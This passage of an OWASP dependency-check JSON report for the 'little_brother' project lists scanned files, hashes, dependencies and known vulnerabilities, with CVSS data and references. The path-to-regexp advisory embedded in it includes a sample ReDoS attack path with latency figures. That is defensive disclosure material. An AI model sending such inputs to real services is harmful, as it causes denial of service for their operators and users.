          "packageIds": [
            {
              "id": "pkg:pypi/little-brother@0.5.1",
              "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/little-brother@0.5.1?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
            }
          ]
        }
      ],
      "evidenceCollected": {
        "vendorEvidence": [],
        "productEvidence": [],
        "versionEvidence": []
      }
    },
    {
      "isVirtual": false,
      "fileName": "little-brother-0.5.1.tar.gz: little-brother-0.5.1.tar: requirements.txt",
      "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/requirements.txt",
      "md5": "44cc8af878968e9d359f935ddbb30fbf",
      "sha1": "9ec78d4c3f4021ccedba8573e6f94b4e78710d40",
      "sha256": "729d8ec3b6e0113d90b47e8f15bc5ae6f0f7c2eb9effa372705476d8812bd1c8",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGH",
            "source": "file",
            "name": "name",
            "value": "requirements"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGH",
            "source": "file",
            "name": "name",
            "value": "requirements"
          }
        ],
        "versionEvidence": []
      }
    },
    {
      "isVirtual": false,
      "fileName": "main.3a5e5fa3c0b92859.js",
      "filePath": "\/builds\/mr\/little_brother\/littlebrother-frontend\/dist\/littlebrother-frontend\/main.3a5e5fa3c0b92859.js",
      "md5": "e60fb2504c6b202106b0e317218c3e14",
      "sha1": "815d1c8657e8850f736d64ff78ef0f0c5e0bdbd9",
      "sha256": "813986dd86fa9c6452a7b4e2453534aae468f7a73a407d591f2e9fd0b31303cd",
      "relatedDependencies": [
        {
          "isVirtual": false,
          "fileName": "little-brother-0.5.1.tar.gz: little-brother-0.5.1.tar: main.3a5e5fa3c0b92859.js",
          "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/little_brother\/static\/angular\/main.3a5e5fa3c0b92859.js",
          "sha256": "813986dd86fa9c6452a7b4e2453534aae468f7a73a407d591f2e9fd0b31303cd",
          "sha1": "815d1c8657e8850f736d64ff78ef0f0c5e0bdbd9",
          "md5": "e60fb2504c6b202106b0e317218c3e14"
        }
      ],
      "evidenceCollected": {
        "vendorEvidence": [],
        "productEvidence": [],
        "versionEvidence": []
      }
    },
    {
      "isVirtual": false,
      "fileName": "main.js",
      "filePath": "\/builds\/mr\/little_brother\/littlebrother-frontend\/src\/assets\/contrib\/initializr\/js\/main.js",
      "md5": "68b329da9893e34099c7d8ad5cb9c940",
      "sha1": "adc83b19e793491b1c6ea0fd8b46cd9f32e592fc",
      "sha256": "01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b",
      "relatedDependencies": [
        {
          "isVirtual": false,
          "fileName": "main.js",
          "filePath": "\/builds\/mr\/little_brother\/littlebrother-frontend\/dist\/littlebrother-frontend\/assets\/contrib\/initializr\/js\/main.js",
          "sha256": "01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b",
          "sha1": "adc83b19e793491b1c6ea0fd8b46cd9f32e592fc",
          "md5": "68b329da9893e34099c7d8ad5cb9c940"
        }
      ],
      "evidenceCollected": {
        "vendorEvidence": [],
        "productEvidence": [],
        "versionEvidence": []
      }
    },
    {
      "isVirtual": true,
      "fileName": "micromatch:4.0.5",
      "filePath": "\/builds\/mr\/little_brother\/littlebrother-frontend\/package-lock.json?micromatch",
      "projectReferences": [
        "package-lock.json: transitive"
      ],
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGH",
            "source": "package.json",
            "name": "name",
            "value": "micromatch"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "package.json",
            "name": "name",
            "value": "micromatch"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "package.json",
            "name": "version",
            "value": "4.0.5"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:npm\/micromatch@4.0.5",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:npm\/micromatch@4.0.5?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ],
      "vulnerabilities": [
        {
          "source": "OSSINDEX",
          "name": "CVE-2024-4067",
          "severity": "MEDIUM",
          "cvssv3": {
            "baseScore": 5.300000190734863,
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "privilegesRequired": "NONE",
            "userInteraction": "NONE",
            "scope": "UNCHANGED",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "availabilityImpact": "LOW",
            "baseSeverity": "MEDIUM",
            "version": "3.1"
          },
          "cwes": [
            "CWE-1333"
          ],
          "description": "The NPM package `micromatch` prior to 4.0.8 is vulnerable to Regular Expression Denial of Service (ReDoS). The vulnerability occurs in `micromatch.braces()` in `index.js` because the pattern `.*` will greedily match anything. By passing a malicious payload, the pattern matching will keep backtracking to the input while it doesn't find the closing bracket. As the input size increases, the consumption time will also increase until it causes the application to hang or slow down. There was a merged fix but further testing shows the issue persists. This issue should be mitigated by using a safe pattern that won't start backtracking the regular expression due to greedy matching. This issue was fixed in version 4.0.8.",
          "notes": "",
          "references": [
            {
              "source": "OSSINDEX",
              "url": "https:\/\/ossindex.sonatype.org\/vulnerability\/CVE-2024-4067?component-type=npm&component-name=micromatch&utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4",
              "name": "[CVE-2024-4067] CWE-1333"
            },
            {
              "source": "OSSIndex",
              "url": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2024-4067",
              "name": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2024-4067"
            },
            {
              "source": "OSSIndex",
              "url": "https:\/\/security-tracker.debian.org\/tracker\/CVE-2024-4067",
              "name": "https:\/\/security-tracker.debian.org\/tracker\/CVE-2024-4067"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:*:micromatch:4.0.5:*:*:*:*:*:*:*",
                "vulnerabilityIdMatched": "true"
              }
            }
          ]
        },
        {
          "source": "NPM",
          "name": "GHSA-952p-6rrq-rcjv",
          "unscored": "true",
          "severity": "moderate",
          "cvssv3": {
            "baseScore": 5.300000190734863,
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "privilegesRequired": "NONE",
            "userInteraction": "NONE",
            "scope": "UNCHANGED",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "availabilityImpact": "LOW",
            "baseSeverity": "MEDIUM",
            "version": "3.1"
          },
          "cwes": [
            "CWE-1333"
          ],
          "description": "The NPM package `micromatch` prior to version 4.0.8 is vulnerable to Regular Expression Denial of Service (ReDoS). The vulnerability occurs in `micromatch.braces()` in `index.js` because the pattern `.*` will greedily match anything. By passing a malicious payload, the pattern matching will keep backtracking to the input while it doesn't find the closing bracket. As the input size increases, the consumption time will also increase until it causes the application to hang or slow down. There was a merged fix but further testing shows the issue persisted prior to https:\/\/github.com\/micromatch\/micromatch\/pull\/266. This issue should be mitigated by using a safe pattern that won't start backtracking the regular expression due to greedy matching.\n",
          "notes": "",
          "references": [
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/micromatch\/micromatch\/blob\/2c56a8604b68c1099e7bc0f807ce0865a339747a\/index.js#L448",
              "name": "https:\/\/github.com\/micromatch\/micromatch\/blob\/2c56a8604b68c1099e7bc0f807ce0865a339747a\/index.js#L448"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/micromatch\/micromatch\/pull\/247",
              "name": "https:\/\/github.com\/micromatch\/micromatch\/pull\/247"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/micromatch\/micromatch\/commit\/500d5d6f42f0e8dfa1cb5464c6cb420b1b6aaaa0",
              "name": "https:\/\/github.com\/micromatch\/micromatch\/commit\/500d5d6f42f0e8dfa1cb5464c6cb420b1b6aaaa0"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/micromatch\/micromatch\/pull\/266",
              "name": "https:\/\/github.com\/micromatch\/micromatch\/pull\/266"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/devhub.checkmarx.com\/cve-details\/CVE-2024-4067",
              "name": "https:\/\/devhub.checkmarx.com\/cve-details\/CVE-2024-4067"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/micromatch\/micromatch\/releases\/tag\/4.0.8",
              "name": "https:\/\/github.com\/micromatch\/micromatch\/releases\/tag\/4.0.8"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/micromatch\/micromatch\/issues\/243",
              "name": "https:\/\/github.com\/micromatch\/micromatch\/issues\/243"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/micromatch\/micromatch\/commit\/03aa8052171e878897eee5d7bb2ae0ae83ec2ade",
              "name": "https:\/\/github.com\/micromatch\/micromatch\/commit\/03aa8052171e878897eee5d7bb2ae0ae83ec2ade"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2024-4067",
              "name": "https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2024-4067"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/advisory.checkmarx.net\/advisory\/CVE-2024-4067",
              "name": "https:\/\/advisory.checkmarx.net\/advisory\/CVE-2024-4067"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/advisories\/GHSA-952p-6rrq-rcjv",
              "name": "https:\/\/github.com\/advisories\/GHSA-952p-6rrq-rcjv"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:*:micromatch:\\<4.0.8:*:*:*:*:*:*:*"
              }
            }
          ]
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "mockito:1.4.0",
      "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/requirements.txt:mockito\/1.4.0",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "mockito"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "mockito"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "1.4.0"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/mockito@1.4.0",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/mockito@1.4.0?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "mockito:1.4.0",
      "filePath": "\/builds\/mr\/little_brother\/requirements.txt:mockito\/1.4.0",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "mockito"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "mockito"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "1.4.0"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/mockito@1.4.0",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/mockito@1.4.0?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": false,
      "fileName": "modernizr-2.8.3-respond-1.4.2.min.js",
      "filePath": "\/builds\/mr\/little_brother\/little_brother\/static\/contrib\/initializr\/js\/vendor\/modernizr-2.8.3-respond-1.4.2.min.js",
      "md5": "c5de01ee6da003c07e3155cb56c569c8",
      "sha1": "90db4ffdce777a0d549adc7d9d9c75d238b14f12",
      "sha256": "c143492f31dfe14beb30c8ac069382d624b19a5ef4f2060bf91c28fc8f1f9c6c",
      "relatedDependencies": [
        {
          "isVirtual": false,
          "fileName": "little-brother-0.5.1.tar.gz: little-brother-0.5.1.tar: modernizr-2.8.3-respond-1.4.2.min.js",
          "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/little_brother\/static\/angular\/assets\/contrib\/initializr\/js\/vendor\/modernizr-2.8.3-respond-1.4.2.min.js",
          "sha256": "c143492f31dfe14beb30c8ac069382d624b19a5ef4f2060bf91c28fc8f1f9c6c",
          "sha1": "90db4ffdce777a0d549adc7d9d9c75d238b14f12",
          "md5": "c5de01ee6da003c07e3155cb56c569c8"
        },
        {
          "isVirtual": false,
          "fileName": "little-brother-0.5.1.tar.gz: little-brother-0.5.1.tar: modernizr-2.8.3-respond-1.4.2.min.js",
          "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/little_brother\/static\/contrib\/initializr\/js\/vendor\/modernizr-2.8.3-respond-1.4.2.min.js",
          "sha256": "c143492f31dfe14beb30c8ac069382d624b19a5ef4f2060bf91c28fc8f1f9c6c",
          "sha1": "90db4ffdce777a0d549adc7d9d9c75d238b14f12",
          "md5": "c5de01ee6da003c07e3155cb56c569c8"
        },
        {
          "isVirtual": false,
          "fileName": "modernizr-2.8.3-respond-1.4.2.min.js",
          "filePath": "\/builds\/mr\/little_brother\/littlebrother-frontend\/dist\/littlebrother-frontend\/assets\/contrib\/initializr\/js\/vendor\/modernizr-2.8.3-respond-1.4.2.min.js",
          "sha256": "c143492f31dfe14beb30c8ac069382d624b19a5ef4f2060bf91c28fc8f1f9c6c",
          "sha1": "90db4ffdce777a0d549adc7d9d9c75d238b14f12",
          "md5": "c5de01ee6da003c07e3155cb56c569c8"
        },
        {
          "isVirtual": false,
          "fileName": "modernizr-2.8.3-respond-1.4.2.min.js",
          "filePath": "\/builds\/mr\/little_brother\/littlebrother-frontend\/src\/assets\/contrib\/initializr\/js\/vendor\/modernizr-2.8.3-respond-1.4.2.min.js",
          "sha256": "c143492f31dfe14beb30c8ac069382d624b19a5ef4f2060bf91c28fc8f1f9c6c",
          "sha1": "90db4ffdce777a0d549adc7d9d9c75d238b14f12",
          "md5": "c5de01ee6da003c07e3155cb56c569c8"
        }
      ],
      "evidenceCollected": {
        "vendorEvidence": [],
        "productEvidence": [],
        "versionEvidence": []
      }
    },
    {
      "isVirtual": false,
      "fileName": "npm.js",
      "filePath": "\/builds\/mr\/little_brother\/little_brother\/static\/contrib\/initializr\/js\/vendor\/npm.js",
      "md5": "ccb7f3909e30b1eb8f65a24393c6e12b",
      "sha1": "e2b7590d6ec1fdac66b01fdf66ae0879f53b1262",
      "sha256": "c7aa82a1aa7d45224a38d926d2adaff7fe4aef5bcdafa2a47bdac057f4422c2d",
      "relatedDependencies": [
        {
          "isVirtual": false,
          "fileName": "little-brother-0.5.1.tar.gz: little-brother-0.5.1.tar: npm.js",
          "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/little_brother\/static\/angular\/assets\/contrib\/initializr\/js\/vendor\/npm.js",
          "sha256": "c7aa82a1aa7d45224a38d926d2adaff7fe4aef5bcdafa2a47bdac057f4422c2d",
          "sha1": "e2b7590d6ec1fdac66b01fdf66ae0879f53b1262",
          "md5": "ccb7f3909e30b1eb8f65a24393c6e12b"
        },
        {
          "isVirtual": false,
          "fileName": "little-brother-0.5.1.tar.gz: little-brother-0.5.1.tar: npm.js",
          "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/little_brother\/static\/contrib\/initializr\/js\/vendor\/npm.js",
          "sha256": "c7aa82a1aa7d45224a38d926d2adaff7fe4aef5bcdafa2a47bdac057f4422c2d",
          "sha1": "e2b7590d6ec1fdac66b01fdf66ae0879f53b1262",
          "md5": "ccb7f3909e30b1eb8f65a24393c6e12b"
        },
        {
          "isVirtual": false,
          "fileName": "npm.js",
          "filePath": "\/builds\/mr\/little_brother\/littlebrother-frontend\/dist\/littlebrother-frontend\/assets\/contrib\/initializr\/js\/vendor\/npm.js",
          "sha256": "c7aa82a1aa7d45224a38d926d2adaff7fe4aef5bcdafa2a47bdac057f4422c2d",
          "sha1": "e2b7590d6ec1fdac66b01fdf66ae0879f53b1262",
          "md5": "ccb7f3909e30b1eb8f65a24393c6e12b"
        },
        {
          "isVirtual": false,
          "fileName": "npm.js",
          "filePath": "\/builds\/mr\/little_brother\/littlebrother-frontend\/src\/assets\/contrib\/initializr\/js\/vendor\/npm.js",
          "sha256": "c7aa82a1aa7d45224a38d926d2adaff7fe4aef5bcdafa2a47bdac057f4422c2d",
          "sha1": "e2b7590d6ec1fdac66b01fdf66ae0879f53b1262",
          "md5": "ccb7f3909e30b1eb8f65a24393c6e12b"
        }
      ],
      "evidenceCollected": {
        "vendorEvidence": [],
        "productEvidence": [],
        "versionEvidence": []
      }
    },
    {
      "isVirtual": true,
      "fileName": "path-to-regexp:0.1.7",
      "filePath": "\/builds\/mr\/little_brother\/littlebrother-frontend\/package-lock.json?path-to-regexp",
      "projectReferences": [
        "package-lock.json: transitive"
      ],
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGH",
            "source": "package.json",
            "name": "name",
            "value": "path-to-regexp"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "package.json",
            "name": "name",
            "value": "path-to-regexp"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "package.json",
            "name": "version",
            "value": "0.1.7"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:npm\/path-to-regexp@0.1.7",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:npm\/path-to-regexp@0.1.7?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ],
      "vulnerabilities": [
        {
          "source": "OSSINDEX",
          "name": "CVE-2024-45296",
          "severity": "HIGH",
          "cvssv3": {
            "baseScore": 7.5,
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "privilegesRequired": "NONE",
            "userInteraction": "NONE",
            "scope": "UNCHANGED",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "availabilityImpact": "HIGH",
            "baseSeverity": "HIGH",
            "version": "3.1"
          },
          "cwes": [
            "CWE-1333"
          ],
          "description": "path-to-regexp turns path strings into a regular expressions. In certain cases, path-to-regexp will output a regular expression that can be exploited to cause poor performance. Because JavaScript is single threaded and regex matching runs on the main thread, poor performance will block the event loop and lead to a DoS. The bad regular expression is generated any time you have two parameters within a single segment, separated by something that is not a period (.). For users of 0.1, upgrade to 0.1.10. All other users should upgrade to 8.0.0.",
          "notes": "",
          "references": [
            {
              "source": "OSSIndex",
              "url": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2024-45296",
              "name": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2024-45296"
            },
            {
              "source": "OSSIndex",
              "url": "https:\/\/github.com\/advisories\/GHSA-9wv6-86v2-598j",
              "name": "https:\/\/github.com\/advisories\/GHSA-9wv6-86v2-598j"
            },
            {
              "source": "OSSINDEX",
              "url": "https:\/\/ossindex.sonatype.org\/vulnerability\/CVE-2024-45296?component-type=npm&component-name=path-to-regexp&utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4",
              "name": "[CVE-2024-45296] CWE-1333"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:*:path-to-regexp:0.1.7:*:*:*:*:*:*:*",
                "vulnerabilityIdMatched": "true"
              }
            }
          ]
        },
        {
          "source": "NPM",
          "name": "GHSA-9wv6-86v2-598j",
          "unscored": "true",
          "severity": "high",
          "cvssv3": {
            "baseScore": 7.5,
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "privilegesRequired": "NONE",
            "userInteraction": "NONE",
            "scope": "UNCHANGED",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "availabilityImpact": "HIGH",
            "baseSeverity": "HIGH",
            "version": "3.1"
          },
          "cwes": [
            "CWE-1333"
          ],
          "description": "### Impact\n\nA bad regular expression is generated any time you have two parameters within a single segment, separated by something that is not a period (`.`). For example, `\/:a-:b`.\n\n### Patches\n\nFor users of 0.1, upgrade to `0.1.10`. All other users should upgrade to `8.0.0`.\n\nThese versions add backtrack protection when a custom regex pattern is not provided:\n\n- [0.1.10](https:\/\/github.com\/pillarjs\/path-to-regexp\/releases\/tag\/v0.1.10)\n- [1.9.0](https:\/\/github.com\/pillarjs\/path-to-regexp\/releases\/tag\/v1.9.0)\n- [3.3.0](https:\/\/github.com\/pillarjs\/path-to-regexp\/releases\/tag\/v3.3.0)\n- [6.3.0](https:\/\/github.com\/pillarjs\/path-to-regexp\/releases\/tag\/v6.3.0)\n\nThey do not protect against vulnerable user supplied capture groups. Protecting against explicit user patterns is out of scope for old versions and not considered a vulnerability.\n\nVersion [7.1.0](https:\/\/github.com\/pillarjs\/path-to-regexp\/releases\/tag\/v7.1.0) can enable `strict: true` and get an error when the regular expression might be bad.\n\nVersion [8.0.0](https:\/\/github.com\/pillarjs\/path-to-regexp\/releases\/tag\/v8.0.0) removes the features that can cause a ReDoS.\n\n### Workarounds\n\nAll versions can be patched by providing a custom regular expression for parameters after the first in a single segment. As long as the custom regular expression does not match the text before the parameter, you will be safe. For example, change `\/:a-:b` to `\/:a-:b([^-\/]+)`.\n\nIf paths cannot be rewritten and versions cannot be upgraded, another alternative is to limit the URL length. For example, halving the attack string improves performance by 4x faster.\n\n### Details\n\nUsing `\/:a-:b` will produce the regular expression `\/^\\\/([^\\\/]+?)-([^\\\/]+?)\\\/?$\/`. This can be exploited by a path such as `\/a${'-a'.repeat(8_000)}\/a`. [OWASP](https:\/\/owasp.org\/www-community\/attacks\/Regular_expression_Denial_of_Service_-_ReDoS) has a good example of why this occurs, but the TL;DR is the `\/a` at the end ensures this route would never match but due to naive backtracking it will still attempt every combination of the `:a-:b` on the repeated 8,000 `-a`.\n\nBecause JavaScript is single threaded and regex matching runs on the main thread, poor performance will block the event loop and can lead to a DoS. In local benchmarks, exploiting the unsafe regex will result in performance that is over 1000x worse than the safe regex. In a more realistic environment using Express v4 and 10 concurrent connections, this translated to average latency of ~600ms vs 1ms.\n\n### References\n\n* [OWASP](https:\/\/owasp.org\/www-community\/attacks\/Regular_expression_Denial_of_Service_-_ReDoS)\n* [Detailed blog post](https:\/\/blakeembrey.com\/posts\/2024-09-web-redos\/)",
          "notes": "",
          "references": [
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/pillarjs\/path-to-regexp\/commit\/29b96b4a1de52824e1ca0f49a701183cc4ed476f",
              "name": "https:\/\/github.com\/pillarjs\/path-to-regexp\/commit\/29b96b4a1de52824e1ca0f49a701183cc4ed476f"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/pillarjs\/path-to-regexp\/commit\/d31670ae8f6e69cbfd56e835742195b7d10942ef",
              "name": "https:\/\/github.com\/pillarjs\/path-to-regexp\/commit\/d31670ae8f6e69cbfd56e835742195b7d10942ef"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/pillarjs\/path-to-regexp\/security\/advisories\/GHSA-9wv6-86v2-598j",
              "name": "https:\/\/github.com\/pillarjs\/path-to-regexp\/security\/advisories\/GHSA-9wv6-86v2-598j"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2024-45296",
              "name": "https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2024-45296"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/advisories\/GHSA-9wv6-86v2-598j",
              "name": "https:\/\/github.com\/advisories\/GHSA-9wv6-86v2-598j"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/pillarjs\/path-to-regexp\/commit\/925ac8e3c5780b02f58cbd4e52f95da8ad2ac485",
              "name": "https:\/\/github.com\/pillarjs\/path-to-regexp\/commit\/925ac8e3c5780b02f58cbd4e52f95da8ad2ac485"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/pillarjs\/path-to-regexp\/commit\/60f2121e9b66b7b622cc01080df0aabda9eedee6",
              "name": "https:\/\/github.com\/pillarjs\/path-to-regexp\/commit\/60f2121e9b66b7b622cc01080df0aabda9eedee6"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/pillarjs\/path-to-regexp\/releases\/tag\/v6.3.0",
              "name": "https:\/\/github.com\/pillarjs\/path-to-regexp\/releases\/tag\/v6.3.0"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/pillarjs\/path-to-regexp\/commit\/f1253b47b347dcb909e3e80b0eb2649109e59894",
              "name": "https:\/\/github.com\/pillarjs\/path-to-regexp\/commit\/f1253b47b347dcb909e3e80b0eb2649109e59894"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:*:path-to-regexp:\\<0.1.10:*:*:*:*:*:*:*"
              }
            }
          ]
        }
      ]
    },
    {
      "isVirtual": false,
      "fileName": "polyfills.eca96a10d809695d.js",
      "filePath": "\/builds\/mr\/little_brother\/littlebrother-frontend\/dist\/littlebrother-frontend\/polyfills.eca96a10d809695d.js",
      "md5": "32d60d1d1d3dd599fef52618398be2ee",
      "sha1": "8899388dfad43c39184a308541417090f9c05265",
      "sha256": "1d1d854231295fcd798b80e0080abb02f892507e2c2fc37c7d13c8a72b93419e",
      "relatedDependencies": [
        {
          "isVirtual": false,
          "fileName": "little-brother-0.5.1.tar.gz: little-brother-0.5.1.tar: polyfills.eca96a10d809695d.js",
          "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/little_brother\/static\/angular\/polyfills.eca96a10d809695d.js",
          "sha256": "1d1d854231295fcd798b80e0080abb02f892507e2c2fc37c7d13c8a72b93419e",
          "sha1": "8899388dfad43c39184a308541417090f9c05265",
          "md5": "32d60d1d1d3dd599fef52618398be2ee"
        }
      ],
      "evidenceCollected": {
        "vendorEvidence": [],
        "productEvidence": [],
        "versionEvidence": []
      }
    },
    {
      "isVirtual": true,
      "fileName": "prometheus-client:0.20.0",
      "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/requirements.txt:prometheus-client\/0.20.0",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "prometheus-client"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "prometheus-client"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "0.20.0"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/prometheus-client@0.20.0",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/prometheus-client@0.20.0?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ],
      "vulnerabilityIds": [
        {
          "id": "cpe:2.3:a:prometheus:prometheus:0.20.0:*:*:*:*:*:*:*",
          "confidence": "HIGHEST",
          "url": "https:\/\/nvd.nist.gov\/vuln\/search\/results?form_type=Advanced&results_type=overview&search_type=all&cpe_vendor=cpe%3A%2F%3Aprometheus&cpe_product=cpe%3A%2F%3Aprometheus%3Aprometheus&cpe_version=cpe%3A%2F%3Aprometheus%3Aprometheus%3A0.20.0"
        }
      ],
      "vulnerabilities": [
        {
          "source": "NVD",
          "name": "CVE-2019-3826",
          "severity": "MEDIUM",
          "cvssv2": {
            "score": 4.3,
            "accessVector": "NETWORK",
            "accessComplexity": "MEDIUM",
            "authenticationr": "NONE",
            "confidentialityImpact": "NONE",
            "integrityImpact": "PARTIAL",
            "availabilityImpact": "NONE",
            "severity": "MEDIUM",
            "version": "2.0",
            "exploitabilityScore": "8.6",
            "impactScore": "2.9",
            "userInteractionRequired": "true"
          },
          "cvssv3": {
            "baseScore": 6.1,
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "privilegesRequired": "NONE",
            "userInteraction": "REQUIRED",
            "scope": "CHANGED",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "availabilityImpact": "NONE",
            "baseSeverity": "MEDIUM",
            "exploitabilityScore": "2.8",
            "impactScore": "2.7",
            "version": "3.0"
          },
          "cwes": [
            "CWE-79"
          ],
          "description": "A stored, DOM based, cross-site scripting (XSS) flaw was found in Prometheus before version 2.7.1. An attacker could exploit this by convincing an authenticated user to visit a crafted URL on a Prometheus server, allowing for the execution and persistent storage of arbitrary scripts.",
          "notes": "",
          "references": [
            {
              "source": "secalert@redhat.com",
